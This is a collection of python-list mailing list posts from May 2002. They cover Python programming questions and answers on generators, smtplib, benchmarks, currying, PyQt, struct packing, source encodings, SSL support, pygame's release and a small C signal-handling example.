<1lr6fus4i1il3qtgtius9sn66cd4njs4vg@4ax.com> According to PEP283, version 2.3a1 was tentatively scheduled for may 22nd. Is there a major delay to this, or is it imminent? Yours impatiently -- Steve Horne steve at lurking.demon.co.uk From hbl at st-andrews.ac.uk Thu May 2 11:03:10 2002 From: hbl at st-andrews.ac.uk (Hamish Lawson) Date: Thu, 02 May 2002 16:03:10 +0100 Subject: Resources and non-exhausted generators Message-ID: <3CD1552E.E13E6FFF@st-andrews.ac.uk> I wrote: > I've written a generator ... that returns results from a database. > ... [I]f the generator is not run to completion, then the cursor and > connection will not get properly closed. Emile van Sebille replied: > Since you're doing a fetchall, couldn't you restructure to fetchall and > cursor.close before iterating? You are quite correct if I use fetchall. I was mistakenly regarding fetchall as an iterator (I've had iterators and generators on the brain recently!), but of course it actually creates a list. Since my motivation for using an iterator was to avoid that kind of memory overhead, let's assume that I actually use fetchone inside a loop instead. Would my observation still hold about the cursor and connection not getting closed? Hamish Lawson From phr-n2002a at nightsong.com Wed May 1 14:18:49 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 01 May 2002 11:18:49 -0700 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <aamjat$qku$1@panix1.panix.com> <aamm5k$kv3$1@bubba.NMSU.Edu> <aan2ll$ib6$1@panix1.panix.com> Message-ID: <7x4rhrwx2u.fsf@ruckus.brouhaha.com> aahz at pythoncraft.com (Aahz) writes: > Fine sentiment. Now, under what circumstances would you recommend Perl > over Python? One feature of perl that Python lacks is the -T (taint checking) flag. I always use it when writing web cgi's in perl and it frequently catches something I missed. In general, Perl's designers seem more sensitive to these security issues and Python has dangerous constructions that would never have been allowed in perl. Examples include the "smart cookie" class and the input() function (which eval's the input string). From gh_pythonlist at gmx.de Tue May 28 04:25:52 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Tue, 28 May 2002 10:25:52 +0200 Subject: Newbie: sendmail / subject woes In-Reply-To: <3CF351D2.9000509@uni-muenster.de> References: <3CF351D2.9000509@uni-muenster.de> Message-ID: <20020528082552.GB505@lilith.my-fqdn.de> * melis <melis at uni-muenster.de> [2002-05-28 09:45 +0000]: > Hello NG! > > In the reference library it states > > sendmail (from_addr, to_addr, msg[,mail_options,rcpt_options]) > > Where do i specify the subject of the mail ? Did a groups.google.com search on "smtplib subject" already? Hint: Try to send a message like this: -- snip -- From: foo at bar.com To: me at myself.net Subject: now subjects work hello -- snip -- You can use the email module (in Python 2.2+) to create all sort of fancy emails, including MIME/multipart, MIME/alternative, ... Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 8.4 ?C Wind: 4.9 m/s From brian at sweetapp.com Mon May 6 11:01:16 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Mon, 6 May 2002 08:01:16 -0700 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <NCBBLFCOHHDIKCAFGCFBIEGPKOAA.marklists@mceahern.com> Message-ID: <001401c1f50e$df9c6340$445d4540@Dell2> Mark McEahern wrote: > [Peter Hansen] > > More out of curiosity than an intention of starting a flame war, but > > would someone post a snippet of twenty or so lines of Perl which they > > believe is "readable"? > > Does anyone know of research into what the criteria for readability might > be? Paul Prescod has a rant about this: http://www.prescod.net/perl/whynot.html Cheers, Brian From ludovic_nospam_ at fotin.net Sun May 12 08:16:00 2002 From: ludovic_nospam_ at fotin.net (Ludovic Fotin) Date: 12 May 2002 05:16:00 -0700 Subject: Make a executable References: <abivj3$ode$1@wanadoo.fr> <gZ7D8.47263$zW3.581271@news1.tin.it> <abj45m$f6a$1@news.tudelft.nl> Message-ID: <fa3f72b1.0205120416.3cda23f7@posting.google.com> > > http://starship.python.net/crew/theller/py2exe/ > > Also look at the McMillan Installer at: > http://www.mcmillan-inc.com/install1.html Thank u very much for your help. i'm happy it's possible. see u soon here :o) Ludo P-S : And excuse my english ! From erno-news at erno.iki.fi Thu May 2 17:31:53 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 03 May 2002 00:31:53 +0300 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> <MPG.173a32a9eb02be4a9896d0@news.nwlink.com> <kuk7qm8r3z.fsf@lasipalatsi.fi> <MPG.173b43566b725d129896d2@news.nwlink.com> Message-ID: <kug01a8cdy.fsf@lasipalatsi.fi> In article <MPG.173b43566b725d129896d2 at news.nwlink.com>, Jeff Shannon <jeff at ccvcorp.com> writes: | In article <kuk7qm8r3z.fsf at lasipalatsi.fi>, Erno Kuusela says... || % python ding.py || <function listcomp_test at 1482a4> 6.82 || <function map_test at 1482d4> 1.83 || python ding.py 17.44s user 0.16s system 98% cpu 17.897 total || || the map version is also more readable, imho. | Hm, I'm slightly surprised that there's that significant of a | difference in this case. Just goes to further reinforce that | performance needs to be measured, not guessed at. :) also to reinforce that doing benchmarks without mentioning python version numbers is not very informative - the above was on a solaris machine at work, but when i tried it at home i got something quite different: % for pv in 2.0 2.1 2.2; do time /usr/bin/python$pv ding.py; done <function listcomp_test at 0x8097dec> 3.37 <function map_test at 0x809aca4> 1.03 /usr/bin/python$pv ding.py 4.17s user 0.31s system 99% cpu 4.485 total <function listcomp_test at 0x80d3b9c> 2.31 <function map_test at 0x8108534> 0.61 /usr/bin/python$pv ding.py 2.84s user 0.15s system 102% cpu 2.925 total <function listcomp_test at 0x814763c> 1.67 <function map_test at 0x8153b14> 0.57 /usr/bin/python$pv ding.py 2.08s user 0.24s system 100% cpu 2.317 total i think i remember reading that part of the speed disadvantage of list comprehensions was that map checked the size of the passed-in sequence(s) and allocated a suitably sized list for results in one go, whereas list comprehensions used to loop over the sequence and grow the list dynamically. maybe this is what has changed... the other speed advantage of map is of course that it doesn't run any bytecode instructions between "iterations", unlike a list comprehension. -- erno From shredwheat at attbi.com Fri May 31 11:59:00 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Fri, 31 May 2002 15:59:00 GMT Subject: Pygame 1.5 Released Message-ID: <3CF79DA4.7090503@attbi.com> Pygame, game development for python Pygame 1.5 released on May 30, 2002 Pete Shinners (pete at shinners.org) http://www.pygame.org Pygame is a set of python modules written to help create games in Python. It allows for the creation of high quality games, yet simple enough for the beginning user to get started immediately. Version 1.5 adds many features to the audio modules. Stereo panning, music playback control, and realtime sound effects are top features. There is a wide range of other enhancements; alpha preserving blits, gamma ramp control, TGA image saving. Pygame also comes with a new playable example, "uberball". For those new to the pygame library, it includes: * fullscreen or windowed framebuffer * multiple audio channel mixing, with streaming music * control of joystick, cdrom, mouse, and keyboard devices * antialiased truetype font rendering * variety of media formats: png, jpg, ogg, mp3, mod, and more The pygame package also comes with complete documentation, tutorials, and many playable examples. There is both an active mailing list and irc channel available to help people get started. Pygame is distributed under the LGPL licese, which is the same license used by many its dependencies. From pyth at devel.trillke.net Tue May 14 05:32:01 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 11:32:01 +0200 Subject: currying at language level (was: Re: add_command) In-Reply-To: <m2bsbjqtuu.fsf@mycroft.actrix.gen.nz>; from mycroft@actrix.gen.nz on Tue, May 14, 2002 at 03:41:13PM +1200 References: <abm6cp$rv1$1@reader11.wxs.nl> <5nxD8.33442$CN3.1163150@news2.tin.it> <abnqb6$bk5$1@reader08.wxs.nl> <yUKD8.50762$zW3.685149@news1.tin.it> <mailman.1021279882.22840.python-list@python.org> <m2bsbjqtuu.fsf@mycroft.actrix.gen.nz> Message-ID: <20020514113201.G28033@prim.han.de> <taken back to the the list, hope that's ok with you> Paul Foley wrote: > On Mon, 13 May 2002 10:49:55 +0200, holger krekel wrote: > > > Alex Martelli wrote: > >> You can also curry in Python 1.5.2 should you need to -- it's just > >> a _little_ bit clunkier perhaps: > >> > >> def curry(func, *args, **kwds): > >> def curried(f=func, a=args, k=kwds): > >> return apply(f, a, k) > >> return curried > > > Alex, what do you think about integrating the > > currying-concept into python's syntax like so: > > > def normalfunc(arg1,arg2,arg3): pass > > > curryfunc = normalfunc(arg1, *, arg3) > > Python already has it: > > curryfunc = lambda x: normalfunc(arg1, x, arg3) > > now that Python has lexical scoping. your are right and this obsoletes my suggestion mostly. Using lambdas seems cleaner than introducing new syntax. And introducing a builtin like 'curry' (see alex post) tends to be wordier and harder to read than your simple solution. IMO the '*' syntax thing may make the intention of prebinding arguments a bit more obvious than lambdas or a builtin but it's (probably) not worth thinking about. regards, holger From henk.derudder at barconet.com Tue May 14 06:00:45 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Tue, 14 May 2002 10:00:45 GMT Subject: import question References: <3ce0d9f8.606424437@news.skynet.be> <3ce0df1c$0$227$4d4ebb8e@read.news.nl.uu.net> Message-ID: <3ce0dfef.607951921@news.skynet.be> On Tue, 14 May 2002 12:05:28 +0200, "Guyon Moree" <gumuz at looze.net> wrote: >i'm not sure, but i imagine you can list the /lib *.py and dynamicly import >every available module Do you mean (sorry, I am quite a newbie to Python) to make list of all .py files which reside in the lib directory and then to perform a for-loop on each item in the list to import that item? > >just my two cents > ><henk.derudder at barconet.com> wrote in message >news:3ce0d9f8.606424437 at news.skynet.be... >> Hi all, >> >> Is there a way to import all possible Python-modules in a module with >> a single call (or some other small elegant solution)? >> >> Regards, >> >> Henk > > From pecora at anvil.nrl.navy.mil Fri May 10 10:26:06 2002 From: pecora at anvil.nrl.navy.mil (Louis M. Pecora) Date: Fri, 10 May 2002 10:26:06 -0400 Subject: "a better input" References: <mailman.1020965478.24132.python-list@python.org> Message-ID: <100520021026067657%pecora@anvil.nrl.navy.mil> In article <mailman.1020965478.24132.python-list at python.org>, Andrew Dalke <adalke at mindspring.com> wrote: > I suppose you're also going to tell me that > [].append(1,2) no longer works? This is a joke, right? :-) ? :-| ? :-( ? Am I so, like, last version? -- -- Lou Pecora - My views are my own. From mal at lemburg.com Tue May 28 05:36:28 2002 From: mal at lemburg.com (M.-A. Lemburg) Date: Tue, 28 May 2002 11:36:28 +0200 Subject: Reminder: European Python and Zope Conference 2002 (EuroPython) References: <3CF348F5.8010007@lemburg.com> <3CF34CF8.9070608@tismer.com> Message-ID: <3CF34F9C.9000801@lemburg.com> Christian Tismer wrote: > M.-A. Lemburg wrote: > >> As one of the EuroPython organizers, I would like to remind >> you that the early bird registration period is coming to an end. >> It is only available until May 31st, so... >> >> Register now and enjoy the most exiting European Python >> event this year ! > > > Q.: Do speakers have to register as well? No, they are registered by the track chairmen. Please contact the track chairman for your Stackless talk directly. -- Marc-Andre Lemburg CEO eGenix.com Software GmbH ______________________________________________________________________ Company & Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ Meet us at EuroPython 2002: http://www.europython.org/ From theross at spamcop.net Mon May 27 17:07:07 2002 From: theross at spamcop.net (Ross M Karchner) Date: Mon, 27 May 2002 17:07:07 -0400 Subject: Jabberpy & SSL? Message-ID: <1022533802.922484@globe.atl2.mindspring.net> Hello, Does anyone have any documentation or expierience for using Jabberpy 0.3.1's SSL support? I was able to glean from the source code that a 'connection=2' argument while initializing a jabber.Client instance was the important thing, and my Python install seems to have working ssl (I can 'import ssl from socket' without a complaint), but I can't seem to make it work. The server I am connecting to (er, attempting to) only supports SSL. I have already asked on the jabberpy-devel list, and have gotten a response from the main developer, but I thought I'd post here to see if anyone has tripped over this before. If this helps: (i took out the name of the jabber server) Python 2.2.1 (#4, May 23 2002, 15:33:00) [GCC 2.95.2 19991024 (release)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import jabber >>> test=jabber.Client('snip',port=5223,connection=2) >>> test.connect() Traceback (most recent call last): File "<stdin>", line 1, in ? File "jabber.py", line 358, in connect raise IOError(e) IOError: No SSL Support Is there anything I am missing? -Ross From claird at starbase.neosoft.com Tue May 28 18:41:21 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 28 May 2002 17:41:21 -0500 Subject: [newbie] Is Python what I'm looking for? References: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> <Pine.SOL.4.30.0205251841540.12910-100000@mimosa.csv.warwick.ac.uk> Message-ID: <7677BA1608046508.B2AA0BDE77F46F5A.79FB87872B887DD4@lp.airnews.net> In article <Pine.SOL.4.30.0205251841540.12910-100000 at mimosa.csv.warwick.ac.uk>, John J. Lee <jjl at pobox.com> wrote: . . . >You don't state whether or not you've done any programming before. If you >have, I would say you're better off with Python. If not, though Python is >a far saner language than Perl and takes much less time to learn to use >well, Perl has the advantage of a very mature web client library, >libwww-perl. If you have no programming experience and want to get the >job done and never write another program again, you may prefer Perl for >this specific task. Otherwise, IMO, use Python. . . . ... or, on yet another hand, one might choose cURL as a highly- portable, even-more-mature-than-libwww, C-coded library, with a binding to Python (among other languages). This question arose in private correspondence, and it occurs to me the answer might interest others. See <URL: http:// www.unixreview.com/documents/s=1820/uni1011713175619/0201i.htm > for details. -- Cameron Laird <Cameron at Lairds.com> Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From xsebbi at gmx.de Mon May 6 15:06:01 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Mon, 6 May 2002 21:06:01 +0200 Subject: [PyQt] Variable In-Reply-To: <3cd6c023$0$216$e4fe514c@dreader3.news.xs4all.nl> References: <mailman.1020704290.21903.python-list@python.org> <3cd6c023$0$216$e4fe514c@dreader3.news.xs4all.nl> Message-ID: <200205062106.01618@xsebbi.de> On Montag, 6. Mai 2002 19:39, Boudewijn Rempt wrote: > But that's exactly what you've asked your script to do! All Qt > widgets return a QString object when you ask them for text. What you > need to do, is to convert the QString's to either unicode or string > objects, using the unicode() or str() functions: > > > ulist.insert(0,str(a)) > ulist.insert(1,str(b)) A big thank you! Now it works... /me is so happy now. > (you are aware that you simply append to a list?) good question ;) I could change it... > Curiously enough, this same question has just appeared on the PyKDE > mailing list (which, despite its name) deals mainly with PyQt: > http://mats.gmd.de/mailman/listinfo/pykde oops ;) BTW: How big is the traffic there? My modem doesn't like me anymore if I'm wanting to much from it. > The PyQt documentation contains a short and clear statement on > strings, namely that Python unicode objects and strings are > auto-converted to QString objects when used in Qt method calls that > expect a QString, but that Qt objects always return a QString. I didn't read that. I only read that it auto-converts something...;) > For a more complete treatment: > > http://www.opendocspublishing.com/pyqt/index.lxp?lxpwrap=x2068%2ehtm > > The rest of the chapter might be of interest to you, too :-). I should buy this book... could be interesting for my future job ;) Thank you, Sebastian From s997659 at ee.cuhk.edu.hk Thu May 30 22:31:53 2002 From: s997659 at ee.cuhk.edu.hk (Geiger Ho) Date: Fri, 31 May 2002 10:31:53 +0800 Subject: Where can I find .join() in the docs In-Reply-To: <mailman.1022801931.24850.python-list@python.org> References: <mailman.1022801931.24850.python-list@python.org> Message-ID: <Pine.GSO.4.05.10205311023270.14365-100000@sparc41> Yes, I think it's very difficult for beginners to consult the python documentation. Not only it's hard to find specific contents, but also the python documentation use some words and concepts that require you to be a well-trained programmers to understand. For me, I'm an Electronic Enginnering student with little knowledge on programming. Sometimes. it's really hard to understand the documents. Usually, I just in Linux, in the document root, type: $> grep -nr "my_finding_keywords" * to find out which documents I should read. Now, haha, after I read this thread, I know the other ways. Thanks. Regards, Geiger From wdraxinger at darkstargames.de Thu May 16 08:35:32 2002 From: wdraxinger at darkstargames.de (Wolfgang Draxinger) Date: Thu, 16 May 2002 14:35:32 +0200 Subject: float separationn References: <mailman.1021500987.28963.python-list@python.org> Message-ID: <3CE3A794.7000201@darkstargames.de> Bjorn Pettersen wrote: >>From: Wolfgang Draxinger [mailto:wdraxinger at darkstargames.de] >> >>This is not really C/C++ related, but I think this is also a >>place to ask: I'm currently working on a compressed 3D Object >>interchange format. With C/C++ its no problem to raw-write >>the IEEE standard floats the data >>consists of into files. Now I'm writing some export scripts >>for blender >>in python. My problem is, that the python float object >>doesn't provide a >>raw-data access. What I need now, is some possibility to >>construct the >>IEEE float format from data returned by the standard math >>functions. I think frexp() is a good start, however this >>still returns a float >>value. I'd like to have the raw bits... >> >>Some ideas? > > > The struct module should be able to do this (untested): > > import struct > val = struct.pack('d', 3.14159) > > val is then a Python string containing the correct bit pattern.. > > -- bjorn > > Thanks, that works well for me. From stephen at xemacs.org Mon May 13 05:42:54 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 13 May 2002 18:42:54 +0900 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <mailman.1021109659.3133.python-list@python.org> <873cwyg7dj.fsf@tleepslib.sk.tsukuba.ac.jp> <m3adr5ief7.fsf@mira.informatik.hu-berlin.de> <878z6obodl.fsf@tleepslib.sk.tsukuba.ac.jp> <m3adr4imvw.fsf@mira.informatik.hu-berlin.de> Message-ID: <87k7q8l6xt.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis <martin at v.loewis.de> writes: Martin> What data type would you use to represent the BOM if not Martin> the byte string type? Who said anything about not representing it? But that should be up to something higher level than an internal cast. >> They're purely for interapplication communication (as you point >> out elsewhere, Python surely knows implicitly whether it's BE >> or LE). Martin> Sure, but Python should allow to implement such Martin> interapplication communication, so application programmers Martin> need a way to emit them. What's wrong with `f.write("codecs.BOM")'? Martin> "Batteries included" means that common cases of Martin> interapplication communication ought to be supported by Martin> the library. Well, the current implementation (2.1.3, anyway) cannot be considered "support", as it handles appends incorrectly. See my other post or bug #555360. And I still don't see Python internal string conversion as _interapplication_ communication. Martin> That's fine; most people seem to agree that the signatures Martin> are not very Unixish. I disagree It's not the people; it's sh(1), cat(1), cp(1), and all the str*(3) functions. But that's up to you, of course. Footnotes: [1] I'm trying to do something about that, but at the moment that's the way I am. Not quite potty-trained by c.l.py standards. :-( -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From jepler at unpythonic.net Tue May 28 16:52:03 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 28 May 2002 15:52:03 -0500 Subject: New (?) suggestion re: 'while x = f(): ...' Message-ID: <20020528155158.V17765@unpythonic.net> Why not abuse the 'for' statement, since it performs an assignment to a user-determined name? Instead of x = v if x: ... you can write for x in G(v): ... and instead of while 1: x = f() if not x: break ... you can write for x in H(f): ... Given suitable names for G() and H() (and I haven't thought of any yet) does anybody favor this over the "pythonic" syntax? Personally, I think I'll stick to doing it in the old-fashioned way, but I wanted to share my idea with the world... Jeff Epler jepler at unpythonic.net def G(v): if not v: return () return (v,) def H(f): while 1: v = f() if not v: break yield v From dalke at dalkescientific.com Tue May 28 17:01:56 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Tue, 28 May 2002 15:01:56 -0600 Subject: Why are types not hashable? References: <3CF3E7A4.9010103@verio.net> Message-ID: <ad0rdd$q5e$1@slb7.atl.mindspring.net> VanL: > >>> import types > >>> alltypes = [t for t in types.__dict__.keys() if t[:2] >!= '__'] BTW, use dir(types) > >>> typestrings ={} > >>> for t in alltypes: typestrings[eval('types.' + t): t] >... BTW, use getattr(types, t) I can't reproduce what you get on my machine. For example, what is typestrings[eval('types.' + t): t] ? It looks like a slice, as in typestrings[types.DictionaryType: "DictionaryType"] (Trying this on 1.5.2 yields 'TypeError: slice index must be int' .. a-ha! Under 2.2 it yields your exception) when I think you want typestrings[getattr(types, t)] = t >Why is <type 'dict'> not hashable? Surely its not mutable? A simpler way to test if that is the problem is a = {} a[type(a)] = "Spam" Works just fine for me under both Python versions. Andrew From bredel at gol.com Wed May 1 21:02:18 2002 From: bredel at gol.com (Philippe Bredel) Date: 1 May 2002 18:02:18 -0700 Subject: SSL still broken on Solaris ? Message-ID: <d1e3ecad.0205011702.8e5acb4@posting.google.com> Hi, A few months ago I was looking at SSL support in Python and decided to go back to this project yesterday. I was rather surprised to discover that socketmodule.c still doesn't call RAND_seed() despite the fact that the issue had been mentionned in earlier posts. I was initially using 1.5.2 on SunOS5.6, assumed it had been fixed so downloaded 2.2.1, recompiled w/ SSL support (I'm using openssl 0.9.6) and kept on getting the famous PRNG not seeded error message. I eventually found a post from Dave Beazley with his fix but the whole process was really painful. There's a usable /dev/random file on my box but I just made a "dirty" recompile using a fixed seed to make sure it was fixing the problem. Any plans to address this issue in the upcoming releases ? Thanks. Rgds, Phil From philh at comuno.freeserve.co.uk Wed May 22 18:38:12 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Wed, 22 May 2002 23:38:12 +0100 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <uecf5h5b7a67c1@news.supernews.com> <3CE68BAA.726DA1A6@engcorp.com> <e81be8b2.0205191833.1c98570c@posting.google.com> <3CE88785.B9042718@tundraware.com> <slrnaeh8il.gf3.philh@comuno.freeserve.co.uk> <dH2G8.189$l62.6959@ozemail.com.au> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <mailman.1021955796.19867.python-list@python.org> <3CE9DEEE.96554CE2@tundraware.com> <3CEA7B5C.181E761C@noaa.gov> <mailman.1022022279.32016.python-list@python.org> <87y9ec95lm.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <slrnaeo7ek.1cd.philh@comuno.freeserve.co.uk> On 22 May 2002 13:19:49 +0900, Stephen J. Turnbull <stephen at xemacs.org> wrote: > > James> It's going the next step beyond that and unnecessarily > James> demonizing the opposition which I find tiresome. > >Microsoft is not the threat that the rabid slashdotters claim. On its own, no. In concert with pernicious laws such as the DMCA and software patents, which can be use to ban compatible software, it may be. > But >Microsoft got big by directing its strategy at beating (or beating up) >the competition, not at satisfying the customer. Sometimes those are >the same. Sometimes they aren't. There may be big social gains to >reining in Microsoft (and maybe there aren't, of course, since doing >so requires the presence of Big Government). Or smaller govmt: repeal the DMCA, abolish software patents. >Maybe. I fear Big Government just because it's Big. Big entities are >vulnerable to Big mistakes. There's also the issue that power tends to corrupt. -- <"><"><"> Philip Hunt <philh at comuno.freeserve.co.uk> <"><"><"> "I would guess that he really believes whatever is politically advantageous for him to believe." -- Alison Brooks, referring to Michael Portillo, on soc.history.what-if From syver-en+usenet at online.no Thu May 23 17:14:04 2002 From: syver-en+usenet at online.no (Syver Enstad) Date: Thu, 23 May 2002 21:14:04 GMT Subject: Python ISAPI extension. Message-ID: <ulmaain4j.fsf@online.no> I remember someone posting about this some time ago. I now finally have some code up and running that implements an IIS ISAPI extension for running python scripts, the extension tries to emulate plain out-of-process CGI as closely as possible (possible for me that is :-)), by substituting the os.environ and sys.stdout objects and routing them to the equivalent functionality in ISAPI. The code is heavily inspired by PyWX which is a similar thingy for the AOL server. The ISAPI extension is nowhere near ready for distribution, lacking some crucial features like: POST support, robust C++ code dealing with the interpreter (I know C++ well, but I am not proficient at programming to the Python C api or the ISAPI). If anybody is interested in the source they can reply to me and I'll mail it. -- Vennlig hilsen Syver Enstad From lenssen at hitnet.rwth-aachen.de Sun May 5 15:35:24 2002 From: lenssen at hitnet.rwth-aachen.de (Philipp Lenssen) Date: Sun, 5 May 2002 21:35:24 +0200 Subject: Choose Your Own Adventure References: <ab3avs$84e$1@nets3.rz.RWTH-Aachen.DE> <13285ea2.0205051119.5a8d4e80@posting.google.com> Message-ID: <ab41i7$hg$1@nets3.rz.RWTH-Aachen.DE> "J.Jacob" <joost_jacob at hotmail.com> wrote in message news:13285ea2.0205051119.5a8d4e80 at posting.google.com... >.. > After a little while I found the downloads at > http://questml.com/download.htm > Maybe you should put a link to that on that first page you mention? I think I will put a link at "QML on a server", which is linked at the "Quests" page. Thanks. I'm beginning to doubt "Home" is a good section title. It doesn't really lead one to think there's where you find the most important pages to start out with QML. > The site has a nice, clever and tasteful design and therefor it is > fast too, congratulations. >.. Thanks a lot! From whisper at oz.net Fri May 17 23:00:11 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 17 May 2002 20:00:11 -0700 Subject: OT: Crazy Programming In-Reply-To: <BC74F8F7E87DD511990C000103E2FEFA3049@XCHG> Message-ID: <GCEDKONBLEFPPADDJCOEEEDGDDAA.whisper@oz.net> Pfffffffffffft!!! I have been reading this thread with no little amusement, but it's not python by a long shot. NOW it's wandering off into the "spiritual" (read: superstition). Yuch - enough is enough! "Objective Truth" <-- FABLE. There is no such thing as an objective human. Doubtful even in Vulcans. A "truth" is something that is important to someone. Facts on the other hand are facts... a lot like dinosaur bones (seen any fossilized angel feathers lately?). "Spiritualism"/"god"/"higher self" <--- No empirical evidence for any such thing exists _period_. There is a good reason you can't call God to testify in court. "AA" can be explained as mass psychology and/or self-hypnosis and/or something about the way humans work that we don't have an explanation for yet. David LeBlanc Seattle, WA USA From max at alcyone.com Sun May 5 18:51:07 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 05 May 2002 15:51:07 -0700 Subject: Choose Your Own Adventure References: <ab3avs$84e$1@nets3.rz.RWTH-Aachen.DE> <3CD5A2DB.F9FBF976@alcyone.com> <ab49u0$8df$1@nets3.rz.RWTH-Aachen.DE> <3CD5ABA8.E37F1ED8@alcyone.com> <ab4cmf$a9v$1@nets3.rz.RWTH-Aachen.DE> Message-ID: <3CD5B75B.8A1DE437@alcyone.com> Philipp Lenssen wrote: > The term CYOA is used, as I explained, to describe exactly what QML > produces, all around the web and newsgroups. If I want to quickly > explain > what QML does I need to use this term without many alternatives, and > this > will help anybody accessing the site. I have no vested interest here; I am not the owner of the trademark, nor am I affiliated with them in any way, nor am I (obviously) affiliated with you or QML. I'm just warning you that your choice of desciptions may result in legal troubles down the road. It seems foolhardy to me to knowingly and willfully use a trademarked term in your promotion; in fact, the trademark owners could conceivably use this exchange to demonstrate your knowledge of the potential violation. You can rationalize to me or to yourself all you want how you think the usage is legitimate, but that doesn't really address the issue that if the trademark holder sees fit you may find yourself embroiled in a lawsuit. Whether you want to avoid that quickly and easily now or deal with when and if it happens is completely up to you; I was just pointing out the objective fact that you are using the trademarked term in a realm where the trademark clearly applies. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From oren-py-l at hishome.net Thu May 16 03:00:46 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Thu, 16 May 2002 03:00:46 -0400 Subject: how to write function that returns function In-Reply-To: <83y9el3xjk.fsf@panacea.canonical.org> References: <4f52f844.0205141503.40000c50@posting.google.com> <83y9el3xjk.fsf@panacea.canonical.org> Message-ID: <20020516070046.GA66677@hishome.net> On Wed, May 15, 2002 at 05:34:39PM -0400, Kragen Sitaker wrote: > a "counter" closure in Python is ugly: > > def counter(startvalue): > state = [startvalue] > def counter_internal(): > state[0] += 1 > return state[0] > return counter_internal How about this: def counter(startvalue): def gen_count(): state = startvalue while 1: yield state state += 1 return gen_count().next Oren From whisper at oz.net Sat May 18 13:19:07 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 18 May 2002 10:19:07 -0700 Subject: AS Rant. WAS: shutil rant In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E20192B98AD5@admin56.narex.com> Message-ID: <GCEDKONBLEFPPADDJCOEOEEFDDAA.whisper@oz.net> Can you explain why PythonWin is needed to do any "serious" work on Windows? Aside from the Windows Scripting Host interface, what other benefit does AS Python in addition to Python and PythonWin? I would have thought the prohibition on redistribution to 3rd parties of the AS distribution would have been troublesome? It strikes me as "ActiveTaint" more then "ActiveState". David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Bjorn Pettersen > Sent: Saturday, May 18, 2002 2:10 > To: Aahz; python-list at python.org > Subject: RE: shutil rant > <snip> > Seriously though, you can't do "any serious" work on windows without the > win32 extensions. Since the ActiveState distribution comes bundled with > these, we've standardized on it here. (there are of course other > advantages to the ActiveState distribution also <wink>) > > -- bjorn From spam at fisher.forestry.uga.edu Sat May 25 17:43:19 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 25 May 2002 14:43:19 -0700 Subject: Why no libpython2.x.so in redhat? Message-ID: <c3835e5f.0205251343.257a1570@posting.google.com> I'm looking for someone out there who develops on RedHat who can help me out: Why are there no libpython .so files on the redhat builds? It is creating problems for me when trying to run python embedded in C. It seems that my program looks for the .so files, and not finding them, dies. I get segfaults all the time. I'm already pissed at Redhat for their persistance with Python1.5.2, but I would hate to change distros just over this. Any help most appreciated. From eric.brunel at pragmadev.com Thu May 23 13:02:12 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Thu, 23 May 2002 17:02:12 +0000 Subject: Ctrl-C forwarded to command executed via popen on Unix Message-ID: <acivv0$f5t$1@wanadoo.fr> Hi all, We've just noticed a very strange problem regarding the use of the Ctrl-C key in the Python interpreter when a command is being run through a pipe on Unix: the interpreter gets it, raising a KeyboardInterrupt exception as it should, but the running command also seems to get the interrupt! Here is a small example involving a small interrupt handling C program: --- handleCtrlC.c ---------------------------- #include <stdio.h> #include <signal.h> #include <unistd.h> void interruptHandler(int ignored) { printf("Ctrl-C caught!\n"); fflush(stdout); } int main() { signal(SIGINT, interruptHandler); while ( 1 ) { printf("Tick\n"); fflush(stdout); sleep(1); } } ----------------------------------------------- I compiled this program to handleCtrlC, then ran the Python interpreter and did: >>> import os >>> p = os.popen('./handleCtrlC') >>> p.readline() 'Tick\n' After a few readline's, I press Ctrl-C at the prompt; the interpreter answers as expected: >>> KeyboardInterrupt Then I continue the readline's: they answer 'Tick\n' a few times, then 'Ctrl-C caught!\n', which seems to indicate that the signal went along the pipe to the executed program?! [NB: if you try this, you may have to kill the interpreter, as the pipe 